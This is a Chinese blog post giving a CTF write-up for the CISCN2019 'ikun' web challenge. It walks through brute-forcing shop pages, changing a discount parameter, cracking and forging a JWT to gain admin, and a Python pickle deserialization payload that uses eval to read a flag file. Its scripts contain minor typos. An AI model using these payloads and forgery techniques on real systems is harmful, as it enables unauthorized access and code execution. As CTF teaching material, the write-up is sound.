【CISCN】部分赛题WP

228 阅读1分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情

[CISCN2019 华北赛区 Day1 Web2]ikun

不得不说 CISCN的题目质量真的可以 在这里插入图片描述 一定要买到IV6 我翻了进十页 还是没有找到 首先先注册,然后进行登录

在这里插入图片描述

LV6准备用脚本跑一下 查看url进行编写脚本

http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/info/2
import request

for i in range(1,1000):
      url =  "http://6283a9ed-82e9-447c-a7c2-096499908bca.node4.buuoj.cn:81/shop?page={}"
      url = url.format(i)
      print(url)
      r = requests.get(url)
      if "lv6.png" in r.text and r.status_code == 200:
           print("find it:' ,url)
           break

在这里插入图片描述 在181页发现lv6

对购物车进行抓包 在这里插入图片描述 然后在这里进行改折扣 在这里插入图片描述 得到

	Location: /b1g_m4mber

访问页面显示只允许admin访问 意思就是需要改权限,JWT破解学习 先将JWT base64解码一下

{"alg":"HS256","typ":"JWT"}{"username":"123456789"}fgϷ݃U{x엖tɫ[

看到username是我自己的登录名 ,这里需要修改为admin 后面的乱码是因为经过了sha256,需要破解key 用jwt工具破解 在这里插入图片描述 然后伪造我们的jwt 网址:jwt.io/libraries 在这里插入图片描述 然后将JWT进行修改 在这里插入图片描述

在HTML页面发现压缩包 在这里插入图片描述 在代码中找到反序列化的地方 在这里插入图片描述

Pickle协议

在这里插入图片描述

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

在这里插入图片描述 然后传入become,就能得到flag